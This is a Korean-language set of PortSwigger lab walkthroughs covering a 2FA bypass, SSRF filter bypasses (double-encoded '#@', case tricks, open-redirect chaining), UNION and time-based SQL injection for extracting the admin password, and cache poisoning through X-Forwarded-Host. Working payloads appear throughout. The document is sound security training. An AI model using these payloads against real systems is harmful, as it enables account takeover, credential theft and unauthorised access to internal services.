목표: 이중 인증을 우회하여 피해자의 계정으로 My account 페이지에 접근하는 것입니다.
사용도구: Burp Suite
문제 설명
해당 랩은 이중 인증을 우회할 수 있다고 하며 이미 유효한 유저 이름과 비밀번호를 얻은 상태라고 합니다. 하지만 2FA 인증 코드 가 있어서 접근을 불가능한 상태이며 Carlos의 account 페이지에 접근하여 랩 문제를 해결할 수 있다고 합니다. 이때 계정 정보는 아래와 같습니다.
자신의 계정:wiener:peter
피해자의 계정: carlos:montoya
문제 풀이
계정 정보를 확인하고 ACCESS THE LAB을 클릭하여 랩에 접속합니다.
My account를 클릭합니다.
사용자 이름과 비밀번호를 입력하고 로그인을 시도합니다.
4자리 숫자 코드를 입력해야 하며 이중 인증을 사용하고 있다는 것을 알 수 있습니다. Email client를 클릭합니다.
Email을 확인해 보면 4자리 숫자 코드를 알 수 있으며 해당 숫자 코드를 복사합니다.
복사한 4자리 숫자 코드를 숫자 코드 입력하는 곳에 기입합니다.
정상적으로 로그인되는 것을 볼 수 있고 피해자의 계정으로 로그인을 시도하기 위해 로그아웃을 합니다.
피해자의 계정으로 로그인을 시도 합니다.
피해자의 계정인 carlos 계정으로 로그인을 했을 때 4자리 숫자 코드를 입력하라고 하며 피해자의 이메일 주소를 모르기 때문에 숫자 코드를 알 수 없는 상황입니다.
이때 숫자 코드를 입력하지 않고 URL 입력창에 계정 정보를 볼 수 있는 /my-account 페이지를 입력하고 접근합니다.
이중 인증을 하지 않고 우회하여 carlos 계정으로 로그인이 되어있는 것을 볼 수 있고 2단계 인증을 하지 않고도 로그인된 사용자가 접근할 수 있는 My account 페이지에 접속이 가능해지면서 랩 문제도 해결된 것을 볼 수 있습니다.
[설명] 해당 랩에서는 1단계 인증을 하고 나서의 세션과 2단계 인증을 하고 나서의 세션이 다른 것을 볼 수 있습니다.
-1단계 인증 후 세션
-2단계 인증 후 세션
세션이 서로 다름에도 불구하고 1단계 인증 세션을 가지고도 2단계 인증을 해야 접속할 수 있는 페이지에 접근을 할 수 있었는데 이는 서버가 2단계 인증까지 했다는 것을 제대로 검증하지 않고 있거나 2단계 인증을 했다는 근거가 반영되지 않은 걸로 추정됩니다. 그렇기 때문에 2단계 인증 단계에서 입력해야 하는 숫자 코드를 몰라도 아이디, 비밀번호로 발급받은 1단계 인증 세션만으로도 2단계 인증을 우회할 수 있었습니다.
[URL 파싱에서의 @ 기호] @기호는 사용자의 정보와 실제 접속할 호스트를 구분하는 기호로 사용됩니다.예를들어 https://user:pw@test.com/mypage URL 파싱할때 user:pw는 인증 정보, 즉 자격증명에 사용되고 실제로 접속하는 웹 사이트는 test.com 이 됩니다. 이런식으로 사용되는 @ 기호의 경우 현재는 거의 사용되지 않고 문법만 남아있는 상태라고 합니다.
[URL 파싱에서의 #(Fragment) 기호] URL 파싱에서 # 기호는 웹 문서의 내부의 특정 섹션이나 리소스를 가리킬 때 사용하는 기호 입니다. 웹 브라우저가 서버에 요청을 보낼 때 # 기호 뒤의 값들은 요청에 포함되지 않고 클라이언트 측에서 처리됩니다.
문제 설명
해당 랩을 해결하기 위해서는 check stock URL을 admin 인터페이스로 바꿔 접근한 뒤 carlos 계정을 삭제해야 한다고 합니다. 하지만 개발자가 SSRF 방어 로직을 사용 중이라고 하며 우회할 필요가 있다고 합니다.
문제 풀이
ACCESS THE LAB을 클릭하여 랩에 접속합니다.
웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.
Check stock 버튼을 클릭합니다.
Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.
세팅한 요청을 전송해 보면 아래와 같이 재고 결과가 나오는 것을 확인할 수 있습니다.
stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 호스트가 stock.weliketoshop.net 이어야 한다는 응답 메시지를 반환하며 필터링이 되고 있는 것을 알 수 있습니다.
@ 기호를 사용할 수 있는지 확인하기 위해서 해당 기호를 사용합니다. 서버가 stock.weliketoshop.net에 접근하게 만들고 접근 불가능 응답이 반환되지 않으며 @ 기호를 사용할 수 있다는 것을 알 수 있습니다.
[설명] @ 기호는 사용자 정보와 실제 접속할 호스트를 나눈다고 설명했었습니다. 따라서 stockApi 파라미터에 페이로드를 삽입하게 되면 서버는 호스트를 stock.weliketoshop.net으로 인식하게 됩니다.
페이로드를 분석해 보면 http://localhost@stock.weliketoshop.net:8080/admin중 localhost@stock.weliketoshop.net 부분에서 localhost가 자격 증명에 사용되는 인증 정보가 되고 호스트가 stock.weliketoshop.net이 됩니다. 응답을 보면 알 수 있듯이 호스트가 stock.weliketoshop.net이기 때문에 접근이 불가능한 응답 메시지를 반환하지 않고 있는 것을 볼 수 있습니다. (missing parameter 메시지의 경우 stock.weliketoshop.net:8080으로 요청을 보냈을때 파라미터가 없으면 반환하는 메시지 입니다.)
이번엔 @ 기호 앞에 # 기호를 삽입했을 때 응답을 보면 호스트를 stock.weliketoshop.net으로 인식하지 못해 필터링에 걸리게 되는 것을 볼 수 있습니다.
[설명] stockApi 파라미터 값을 URL 파싱 하는 과정에서 # 기호 뒤에 값이 Fragment로 처리되고 있기 때문에 호스트를 stock.weliketoshop.net으로 인식하지 못하는 것입니다.
이전 단계의 페이로드에서 @기호 앞에 # 기호를 이중 인코딩한 값을 삽입하고 요청을 전송하면 필터링을 우회하여 admin 인터페이스에 접근이 가능하게 됩니다.
[설명] # 기호를 이중 인코딩 하지 않은 페이로드인 http://localhost#@stock.weliketoshop.net:8080/admin 을 사용하여 요청을 전송하게 되면 # 기호 뒤의 값들은 stockApi 파라미터 값을 URL 파싱 하는 과정에서 Fragment 처리가 되어 서버로 전송되지 않기 때문에 호스트가 stock.weliketoshop.net로 인식되지 않아 필터링에 걸리게 됩니다.
하지만 # 기호를 이중 인코딩을 하고 요청을 보내면 form 데이터를 처리하는 과정에서 %25%32%33을 디코딩 하게 되고 서버가 입력 값을 검증할 때 비교하는 값은 http://localhost%23@stock.weliketoshop.net:8080/admin 이 됩니다. 즉 %23은 # 기호가 아닌 그냥 문자열 취급을 받기 때문에 %23뒤에는 Fragment 처리가 되지 않습니다. 이 과정에서 @ 기호를 기준으로 앞부분은 사용자 인증 정보 뒷부분은 실제 접속 호스트로 해석하게 됩니다.
서버는 @ 기호로 인해 호스트가 stock.weliketoshop.net인 것으로 확인했기 때문에 필터링 검사를 통과시키게 됩니다. 이때 또 중요한 점이 있는데 서버가 stockApi 파라미터 값을 받아서 실제 요청을 전송할 때 URL이 디코딩 되어 %23이 한번 더 디코딩 되고 # 기호로 해석되는 것으로 보인다는 점입니다.
정리하면 stockApi 값 검사 과정에서 호스트가 stock.weliketoshop.net으로 해석되어 필터링을 통과하고 실제 요청을 하는 과정에서 %23이 한 번 더 디코딩 되어 # 기호처럼 해석됩니다. 이 경우 http://localhost#@stock.weliketoshop.net:8080/admin 이 되고 # 기호 뒤에는 Fragment 처리가 되어 localhost의 admin 인터페이스에 접근이 가능해집니다. 따라서 외부에서 접근이 불가능한 내부 주소를 서버가 대신 요청하여 접근을 가능하게 했으므로 SSRF 취약점이 존재한다는 것을 알 수 있습니다.
응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.
stockApi 파라미터에 복사했던 carlos 계정 삭제 URL을 admin 인터페이스 경로에 추가하여 요청을 전송합니다.
이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.
admin 인터페이스에 다시 접속해 보면 실제로 carlos의 계정이 삭제된 것을 볼 수 있습니다.
프로토콜은 같고 도메인, 경로가 다를 때 응답 결과가 다른 것을 볼 수 있는데 처음 시도했던 페이로드의 경우 차단 메시지가 반환되지만 두 번째 페이로드의 경우 도메인, 경로가 달랐을 때 연결 에러 메시지를 반환하는 것을 볼 수 있습니다. 도메인, 경로가 달라졌을 때는 차단 메시가 반환이 되지 않고 있기 때문에 localhost, admin 문자열과 같이 특정 문자열만 필터링이 되고 있다고 생각해 볼 수 있습니다.
stockApi 파라미터에 삽입했던 임의의 URL에서 경로에 localhost를 삽입해 보고 요청을 보냈을 때 응답을 보면 차단을 당하고 있기 때문에 localhost 문자열이 필터링 되고 있다는 것을 알 수 있습니다.
이번엔 localhost가 아닌 admin을 삽입해 보고 응답을 확인하면 똑같이 차단당하고 있기 때문에 admin 문자열도 필터링 되고 있다는 사실을 알 수 있습니다.
localhost 문자열이 필터링 되고 있는데 첫 글자만 대문자로 바꿔서 우회를 시도해 보면 차단 메시지가 반환되지 않고 있기 때문에 우회에 성공했다는 것을 알 수 있습니다.
admin 문자열도 첫 글자만 대문자로 바꿔서 우회를 시도해 보면 차단 메시지가 반환이 되지 않기 때문에 우회에 성공했다는 것을 알 수 있습니다.
stockApi 파라미터를 통해 admin 인터페이스에 접근할 때 알아낸 우회 방법을 통해 접근을 해보면 admin 인터페이스에 성공적으로 접속할 수 있기 때문에 SSRF 취약점이 존재하고 있으며 필터링이 미흡하다는 것을 알 수 있습니다.
[페이로드] stockApi=http://Localhost/Admin
[설명] localhost, admin 문자열을 사용하면 필터링에 의해 차단되는 것을 확인했었고 앞 글자만 대문자로 바꾸면 우회를 할 수 있다는 것을 통해 서버 측 필터 로직은 대소문자를 구분하여 필터링하고 있다는 것을 알 수 있었습니다. 따라서 admin 인터페이스 URL을 입력할 때 localhost, admin 문자열의 앞 글자만 대문자로 바꿔주면 우회가 가능하고 admin 인터페이스에 접근이 가능하다는 것을 알 수 있습니다.
결과적으로 stockApi 파라미터에 대해서 필터링이 미흡했기 때문에 서버가 공격자가 입력한 내부 주소로 요청을 보내게 하여 내부 주소에 접근이 가능했기 때문에 SSRF 취약점이 존재합니다.
응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.
stockApi 파라미터에 복사했던 carlos 계정 삭제 URL을 admin 인터페이스 경로에 추가하여 요청을 보냅니다.
이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.
admin 인터페이스에 다시 접속해서 확인해 보면 carlos 계정이 삭제되어 있는 것을 볼 수 있습니다.
admin 인터페이스 주소는 http://192.168.0.12:8080/admin 이라는 것을 알 수 있고 해당 페이지에서 carlos 계정을 삭제하면 문제를 클리어하게 됩니다. 이때 admin 인터페이스의 경우 서버가 접근 가능한 내부 네트워크에서만 접근이 가능하며 직접적인 접근은 필터링에 의해 차단되게 됩니다. 따라서 open redirect 기능을 찾아야 한다고 설명하고 있습니다.
문제 풀이 - https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
ACCESS THE LAB을 클릭하여 랩에 접속합니다.
웹 사이트에 접속한 뒤 게시물 중 하나를 택해서 View details를 클릭하여 게시물로 이동합니다.
Check stock 버튼을 클릭합니다.
Check stock 버튼을 클릭했을 때의 요청을 Burp Suite의 Repeater 기능에 세팅합니다.
stockApi 파라미터 값을 admin 인터페이스 주소로 바꾸고 요청을 보내면 유효하지 않은 URL 이라는 응답이 메시지가 반환되며 외부 주소에서는 접근이 불가능하다는 것을 알 수 있습니다.
[설명] stockApi 파라미터 값은 서버가 재고 확인 API로 요청을 보내기 위해 사용하는 URL 입니다. 응답을 보면 알 수 있듯이 admin 인터페이스의 경우 외부 주소에서는 접근이 불가능하기 때문에 접속할 수 없는 상황입니다.
웹 사이트로 돌아가서 Next product 버튼을 클릭합니다.
Next product 버튼을 클릭했을 때의 요청 및 응답을 취득해 보면 Redirect가 되고 있고 path 파라미터의 입력된 값(주소)이 Location 헤더 값으로 들어가는 것을 알 수 있습니다.
Ridrect를 따라가보면 path 파라미터 값으로 들어간 경로로 이동하는 것을 볼 수 있으며 Open Redirect 취약점이 존재한다는 것을 알 수 있습니다. (Burp Suite Follow redirection 기능을 사용합니다.)
Check stock 버튼을 클릭했을 때의 요청으로 돌아가서 stockApi 파라미터에 Redirect URL을 입력하면 해당 URL로 서버가 접근하여 Redirect가 된 응답을 반환하는 것을 확인합니다.
[설명] stockApi의 경우 파라미터 값에 외부 주소를 입력하면 접근이 불가능한 상태인 것을 이전에 확인했었습니다. 하지만 이전 단계에서 발견했던 Redirect 기능의 경우 내부 주소에서 사용하는 기능이기 때문에 stockApi 파라미터 값에 Redirect 기능을 수행하는 URL 주소를 입력하면 Redirect된 응답을 반환하게 됩니다.
또한 페이로드를 입력할 때 %26은 & 기호에 해당하며 &기호를 URL 인코딩 처리를 하지 않을 경우 path 파라미터가 stockApi의 값으로 인식되는 것이 아닌 또 다른 파라미터로 인식하여 에러 응답을 받게 됩니다.
이번엔 전 단계에서 사용했던 페이로드에서 path 값에 admin 인터페이스가 있는 경로를 삽입하고 요청을 보내면 원래 접근할 수 없었던 admin 인터페이스에 접근이 가능하므로 SSRF 취약점이 존재한다는 것을 알 수 있습니다.
응답에서 Raw를 클릭하고 carlos 계정 삭제 버튼을 찾은 뒤 해당 URL을 복사합니다.
Check stock를 클릭할 때의 요청으로 돌아가서 복사했던 carlos 계정 삭제 URL을 path 파라미터에 삽입하고 요청을 보냅니다.
[설명] stockApi 파라미터 값에 포함된 path 파라미터에 carlos 계정을 삭제하는 URL을 입력하고 요청을 보내면 서버 쪽에서는 URL이 내부 주소기 때문에 해당 요청을 통과시키고 Open Redirect 기능으로 인해 서버가 carlos 계정을 삭제하는 URL 주소에 접근하게 되어 최종적으로 carlos 계정이 삭제되게 됩니다.
이전 과정을 끝내고 웹 사이트로 돌아가 보면 문제가 클리어 된 것을 볼 수 있습니다.
admin 인터페이스에 다시 접속해서 확인해 보면 carlos 계정이 삭제되어 있는 것을 볼 수 있습니다.
목표: administrator 계정의 비밀번호를 알아내서 해당 계정으로 로그인을 하는 것입니다.
사용도구:Burp Suite
문제 풀이 - Lab: SQL injection UNION attack, retrieving multiple values in a single column
문제 사이트에 접속하여 문제를 확인합니다. 해당 문제는 상품 카테고리 필터에 SQL Injection 취약점이 있다고 하며 UNION을 사용할 수 있다고 합니다. 또한 쿼리에 대한 응답이 화면에 반환이 되며 DB에는 user 테이블이 있고 해당 테이블에는 username과 password 컬럼이 있다고 합니다. ACCESS THE LAB을 클릭하여 랩에 접속합니다.
랩에 접속하면 카테고리를 설정할 수 있는데 아무 카테고리를 클릭해 줍니다. (저는 Gifts로 선택했습니다.)
Burp Suite를 이용해서 카테고리를 선택했을 때의 요청을 Repeater 기능에 세팅합니다.
페이로드를 입력해서 먼저 SQL Injection이 가능한지 확인합니다.
- sql query 문 조건식 참일 때
페이로드:Gifts'+and+'1'='1
[설명] 페이로드에서 + 기호는 공백(스페이스)를 의미합니다.
- sql query 문 조건식 거짓일 때
페이로드: Gifts'+and+'1'='2
[설명] sql query 문 조건식이 참, 거짓일 때의 따라 화면에 반환되는 응답이 다르다는 것을 알 수 있고 이는 사용자의 입력 값이 sql query 문에 반영이 되고 있으며 조작할 수 있음을 의미합니다.
문제에서 UNION 구문을 사용할 수 있다고 했으며 UNION 구문을 사용하기 위해서는 먼저 컬럼의 개수를 알아야 합니다. order by와 # (주석 기호)를 이용해서 확인하려고 했지만 에러가 발생하는 것을 확인할 수 있습니다.
[설명] DB마다 주석 처리할 때 기호가 조금씩 다를 수 있습니다. # 기호의 경우 MySQL, MariaDB에서 사용되는 주석 처리 기호이며 해당 기호를 사용했을 때 에러가 발생했으므로 랩에서 사용하는 DB는 MySQL, MariaDB가 아니라는 것을 알 수 있습니다.
또한 주석을 사용하는 이유는 사용자의 입력 값으로 싱글 쿼터가 들어가면 실제로 완성되는 sql query 문에서 싱글 쿼터가 하나 남아 에러가 발생하기 때문에 해당 에러를 발생시키지 않도록 하려고 주석을 사용하는 것입니다.
이번엔 - 기호를 이용해서 order by와 주석 처리를 시도하여 컬럼의 개수를 알아냅니다
페이로드: Gifts'+order+by+1-- (응답 정상 반환) 페이로드: Gifts'+order+by+2-- (응답 정상 반환) 페이로드: Gifts'+order+by+3-- (에러)
[설명] - 기호를 이용한 주석은 대부분의 관계형 DB에서 작동하며 order by 1, order by 2 에서 응답이 정상적으로 화면에 반환되고 있으므로 컬럼의 개수가 2개 이상이라는 것을 알 수 있습니다. 이어서 order by 3을 했을 때 응답에서 에러가 발생하게 되는데 세번 째 컬럼은 존재하지는 컬럼을 정렬하려고 했기 때문에 에러가 발생하는 것입니다. 따라서 컬럼은 2개 존재한다는 것을 알 수 있습니다.
- order by 1
- order by 2
- order by 3
컬럼의 개수가 2개인 것을 알아냈으므로 이제 UNION 구문을 사용할 수 있는지 확인합니다.
페이로드: '+union+select+null,null--
[설명] union 구문을 사용할 때 대응되는 컬럼의 데이터 타입이 같은 타입이어야 하는 DB들이 있으며 Oracle, PostgreSQL 와 같은 DB들이 해당됩니다. 따라서 union 구문을 사용할 때 null을 사용합니다. null은 특정 타입이 정해진 값이 아니기 때문에 대부분 사용이 가능합니다. (MySQL, MariaDB의 경우 자동으로 데이터 타입이 캐스팅됩니다.)
또한 웹 애플리케이션이 어떤 DB를 사용하느냐에 따라 UNION 구문을 사용하여 공격을 시도할 때 문법이 조금씩 달라지게 됩니다. 예를 들면 Oracle DB의 경우 from 절이 있어야 하기 때문에 from dual을 사용해야 합니다. 이번 페이로드는 Oracle DB가 아니라고 생각하고 페이로드를 사용했습니다.
화면에 에러가 발생하지 않고 응답이 정상적으로 오고 있기 때문에 정상적으로 UNION 구문이 사용 가능하다는 것을 알 수 있습니다.
데이터 타입을 알아내기 위해 첫 번째 컬럼 위치에 숫자를 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 정상적으로 응답이 반환되기 때문에 첫 번째 컬럼은 데이터 타입이 숫자형인 것을 알 수 있습니다.
이어서 두 번째 컬럼에도 숫자를 넣고 응답을 확인합니다. 에러가 발생하는 것을 볼 수 있으며 두 번째 컬럼의 경우 데이터 타입이 숫자형이 아니라는 것을 알 수 있습니다.
이번엔 두 번째 컬럼에 문자열을 삽입하고 응답을 확인합니다. 에러가 발생하지 않고 응답이 정상적으로 반환되고 있기 때문에 두 번째 컬럼은 데이터 타입이 문자열에 해당한다는 것을 알 수 있습니다. 또한 두 번째 컬럼에 삽입했던 값이 화면에 출력되는 것도 확인할 수 있습니다.
두 컬럼의 데이터 타입을 파악했고 어떤 DB를 사용 중인지 알아내기 위해서 DB version을 출력하는 함수를 사용합니다. 이때 DB 별 version을 출력해 주는 함수 또는 구문이 다를 수 있기 때문에 여러 가지를 시도해 봐야 합니다. 화면에 출력되는 컬럼인 두 번째 컬럼에 version() 함수를 입력해 봤을 때 결과를 보면 PostgreSQL을 사용하고 있다는 것을 알 수 있습니다.
문제에서 설명했듯이 users 테이블에 username과 password 컬럼이 있기 때문에 다음 페이로드를 삽입하여 administrator 계정이 존재하는지 확인합니다.
페이로드: '+union+select+1,username+from+users--
[설명] users 테이블로부터 username 컬럼의 데이터를 가져옵니다. 두 번째 컬럼에 값이 들어갔을 때 화면에 출력이 되기 때문에 두 번째 컬럼에 username 컬럼을 삽입해야 합니다.
administrator 계정이 존재하기 때문에 해당 계정의 비밀번호를 알아내는 페이로드를 작성하여 비밀번호를 알아냅니다.
[설명] PostgreSQL에서 || 연산자는 문자열을 연결할 때 사용하는 연산자입니다. 예를 들면 입력: 'te' || ' ' || 'st' 결과: te st 이런 식입니다.
현재 화면에 출력되는 컬럼은 두 번째 컬럼 하나뿐입니다. 따라서 사용자의 계정과 비밀번호를 한 번에 출력할 수 없는 상황이지만 문자열을 연결해 주는 || 연산자를 사용한다면 한 번에 여러 개의 컬럼 데이터를 추출할 수 있게 됩니다. username||'-'||password 를 입력하면 (유저이름)-(비밀번호)가 화면에 출력되게 됩니다. 여기서 - 기호는 사용자의 이름과 비밀번호를 구분하기 위해서 사용한 기호입니다.
My account 버튼을 클릭해서 로그인 입력 창으로 이동한 뒤 알아낸 비밀번호를 가지고 로그인 administrator의 계정으로 로그인을 시도합니다.
UNION SQL Injection 공격을 통해 알아낸 administrator 비밀번호로 로그인이 되면서 해당 랩 문제를 클리어하게 됩니다.
목표: 캐시 포이즈닝 취약점을 이용하여 방문자의 브라우저에서 alert(document.cookie)를 실행되도록 하는 것입니다.
사용도구:Burp Suite + Param Miner(Extension)
사전 지식
- 웹 캐시 포이즈닝(Web Cache Poisoning) 캐시 서버에 악의적인 응답을 저장시켜서 해당 캐시를 받는 타 사용자에게 공격을 수행하는 공격 기법입니다.
- 캐시 키(Cache Key) 캐시 서버가 요청을 식별할 때 사용하는 고유한 값입니다. 캐시 서버는 모든 헤더를 캐시 키로 사용하지 않고 일부 헤더만 캐시 키로 사용합니다.
- Unkeyed 헤더 캐시 키에서 제외된 헤더를 말합니다. 캐시 키로 사용되지 않지만 백엔드에서는 해당 헤더를 읽고 응답을 생성할 수 있기 때문에 캐시 포이즈닝 공격에 사용될 수 있습니다.
- Cache-Control 헤더
max-age: 캐시 유지 시간을 나타냅니다.
- Age 헤더
캐시 된 후 얼마나 지났는지 초 단위로 나타냅니다.
- X-Cache 헤더
hit: 응답이 캐시에서 제공되었음을 의미합니다. (백엔드 도달 X)
miss: 응답이 원본 서버(백엔드)에서 왔음을 의미합니다.(백엔드 도달 O)
ex) 응답 헤더(Response Header) Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다. Age: 0 -> 캐시 된 시간을 나타냅니다. X-Cache: miss -> 백엔드 서버 도달 O
Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다. Age: 5 -> 캐시 된 지 5초 지났음을 의미합니다. X-Cache: hit -> 백엔드 서버 도달 X
- 캐시 버스터(Cache Buster) 웹 브라우저나 프록시 서버가 이전에 저장된 캐시를 사용하지 않고 서버로부터 최신 버전의 리소스를 강제로 받도록 하는 기술을 말합니다. 캐시 포이즈닝 공격을 테스트할 때 실제 운영 중인 페이지가 오염되면 다른 사용자에게 피해가 발생할 수 있기 때문에
?test=1234와 같이 임의의 파라미터를 추가해서 별도의 캐시 키를 생성해서 사용합니다.
[캐시 버스터 사용 X] 테스트하는 사람 -> / + 캐시 포이즈닝 공격 타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝으로 인한 공격 영향받음.
[캐시 버스터 사용 O] 테스트하는 사람 -> /?test=1234 + 캐시 포이즈닝 공격 타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝 공격으로 인한 공격 영향 안 받음.
문제 풀이 - https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header
문제 사이트에 접속하여 문제를 확인합니다. 해당 LAB은 unkeyed 헤더의 입력을 안전하지 않은 방식으로 처리를 하고 있어 웹 캐시 포이즈닝 취약점이 존재한다고 합니다. 문제를 해결하기 위해선 방문자의 브라우저에서 캐시 포이즈닝 공격을 통해 alert(document.cookie)가 실행 되도록 해야 한다는 것을 알 수 있습니다.
LAB의 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득하여 확인해 보면 응답 헤더에 Cache-Control, Age, X-Cache 헤더가 있는 것을 확인합니다.
실제 캐시를 오염시키면 타 사용자에게 피해가 발생할 수 있기 때문에 테스트를 할 때 캐시 버스터(Cache Buster)를 사용합니다.
캐시 버스터를 사용해서 요청을 보낸 뒤 캐시가 유지되는 시간인 30초 이내에 동일한 경로와 파라미터로 다시 요청을 해보면 캐시 된 시간인 Age가 1초 지났다는 것과 X-Cache가 hit이기 때문에 캐시가 정상적으로 동작하고 있음을 알 수 있습니다.
문제에서 unkeyed 헤더로 인한 취약점 있다고 명시해 줬기 때문에 unkeyed 헤더를 찾기 위해 Burp Extension에서 제공하는 Param Miner를 사용합니다.(커뮤니티 버전도 무료 다운로드 가능합니다.) Proxy > HTTP history에서 /?test=1234 경로로 접근할 때의 요청에 마우스를 올리고 우클릭 > Extensions > Param Miner > Guess headers를 클릭합니다.
+) Param Miner를 사용하지 않고 수동으로도 테스트가 가능합니다
Attack Config 창이 화면에 보이면 poison only에 체크하고 ok를 클릭합니다. (poison only 옵션은 캐시 포이즈닝 취약점을 집중적으로 찾아내도록 설정하는 옵션입니다.)
Burp의 Extensions > Installed 탭에 들어가서 아래의 Output을 확인합니다.
시간이 지나면 unkeyed인 헤더를 찾을 수 있으며 X-Forwarded-Host 헤더가 unkeyed 헤더인 것을 알아냅니다.
Burp Suite의 Repeater 기능을 이용하여 /?test=1234에 요청을 보낼 때 요청 헤더에 unkeyed 헤더인 X-Forwarded-Host를 삽입하고 헤더 값은 임의의 값으로 설정하여 요청을 보냅니다. 이후 응답을 확인해 보면 js 파일을 가져올 때 host 부분이 X-Forwarded-Host에 입력했던 헤더 값(임의의 값)으로 되어 있는 것을 확인할 수 있습니다.
+) 이때의 X-Cache는 miss입니다. X-Forwarded-Host 헤더가 백엔드에서 처리되기 때문에 응답에 반영되며 이것이 캐시에 저장됩니다.
캐시가 만료되기 전에 웹 페이지 URL 주소창에 /?test=1234 을 입력하여 접근합니다.
접근했을 때의 요청 및 응답을 확인해 보면 X-Forwarded-Host 헤더를 추가하지 않았는데 이전에 입력했던 임의의 값이 host로 들어가는 js 파일을 가져오고 있는 것을 볼 수 있습니다.
+) 이때의 X-Cache는 hit입니다. X-Forwarded-Host 헤더가 처리된 응답이 캐시에 저장되어 있기 때문에 캐시 된 응답을 받게 됩니다.
다시 Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이용하여 script 태그의 src 속성 값을 사용자가 임의로 끊어서 다른 스크립트를 로드할 수 있는지 확인합니다.
[페이로드(입력 값)]
페이로드: X-Forwarded-Host: test1234"><"
[설명] 사용자가 X-Forwarded-Host 헤더를 설정하고 응답을 받으면 아래와 같은 응답을 받게 됩니다. <script type="~" src="//{X-Forwarded-Host 헤더 값}/resources/js/tracking.js">
페이로드를 입력하고 응답을 보면 <script type="~" src="//test1234"><"/resources/js/tracking.js">이 되면서 src="//test1234"에서 파일을 가져오려고 시도하게 됩니다.
이때 캐시가 만료되기 전에 /?test=1234로 사용자가 접근했을 때의 HTTP History를 보게 되면 캐시 된 응답이 script 태그에 담겨오고 있는 것을 볼 수 있으며 <script type="~" src="//test1234"><"/resources/js/tracking.js">이 되어 https://test1234/ 에서 파일을 가져오려고 시도하고 있음을 알 수 있습니다.
LAB에서 Go to exploit server를 클릭하여 접근합니다.
Head에 Content-Type이 application/javascript 이며 문제 해결을 위해선 타 사용자가 방문했을 때 alert(document.cookie)가 실행되어야 하기 때문에 Body에 해당 스크립트를 삽입합니다. 이후 Store를 클릭하여 내용들을 저장합니다. (스크립트 저장된 경로: https://{exploit_server_id}.exploit-server.net/exploit)
Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이전 단계에서 스크립트를 삽입했던 경로인 {exploit_server_id}.exploit-server.net/exploit 으로 입력하고 요청을 보냅니다. 응답을 보면 src 속성이 스크립트가 저장된 페이지에 접근하도록 되어있는 것을 볼 수 있습니다.
[설명] 사용자가 X-Forwarded-Host 헤더를 설정하고 응답을 받으면 아래와 같은 응답을 받게 됩니다. <script type="~" src="//{X-Forwarded-Host 헤더 값}/resources/js/tracking.js">
페이로드를 입력하고 응답을 보면 <script type="~" src="//{exploit_server_id}.exploit-server.net/exploit"><"/resources/js/tracking.js">이 되면서 문법을 파괴하지 않고 src 속성으로 인해 스크립트가 저장되어 있는 {exploit_server_id}.exploit-server.net/exploit 경로로 접근하게 됩니다.
캐시가 만료되기 전에 웹 페이지에 접속하여 /?test=1234 경로로 접근을 합니다.
alert 창이 화면에 나오면서 스크립트가 실행되는 것을 확인할 수 있으며 캐시 포이즈닝 공격에 성공했음을 알 수 있습니다. 이때 캐시 버스터를 사용하면 문제가 solve 처리되지 않기 때문에 실제 공격을 할 때는 캐시 버스터 없이 진행합니다.
캐시 버스터 없이 X-Forwarded-Host 헤더 값을 설정합니다. 이때 중요한 점은 X-Cache가 miss 여야 정상적으로 동작합니다.
목표:SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.
사용도구:Burp Suite, Visual Studio Code
문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문을 이용하여 time delay를 통해 정보를 유추할 수 있다고 얘기하는 것을 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.
LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.
문제에서 TrackingId 쿠키 값이 sql query 문에 사용된다고 했기 때문에 sql query 문 조건이 참이 되도록 구성하여 요청을 보내고 응답을 확인합니다.
sql query 문 조건이 거짓이 되도록 구성하여 요청을 보내고 응답을 확인합니다. sql query 문 조건이 참, 거짓일 때 각각의 응답 결과를 비교해 보면 동일한 것을 볼 수 있고 sql query 문 참, 거짓 응답 결과가 다름을 이용한 SQL Injection 공격은 할 수 없음을 알 수 있습니다.
참, 거짓 응답 결과가 다름을 이용하여 data를 추출할 수 없는 상황이라면 Time-based SQL Injection을 시도해 볼 수 있습니다. time delay가 되는지 페이로드를 삽입하여 요청을 보내면 time delay가 되고 있다는 것을 볼 수 있습니다
[설명] 단순히 sql query문 조건을 참, 거짓으로 요청을 각각 보냈을 때 응답 결과가 동일하기 때문에 data를 추출할 수 없는 상황입니다. 이런 경우에 Time-based SQL Injection을 이용하여 time delay가 발생하는지 안하는지 여부에 따라 data를 추출할 수 있습니다.
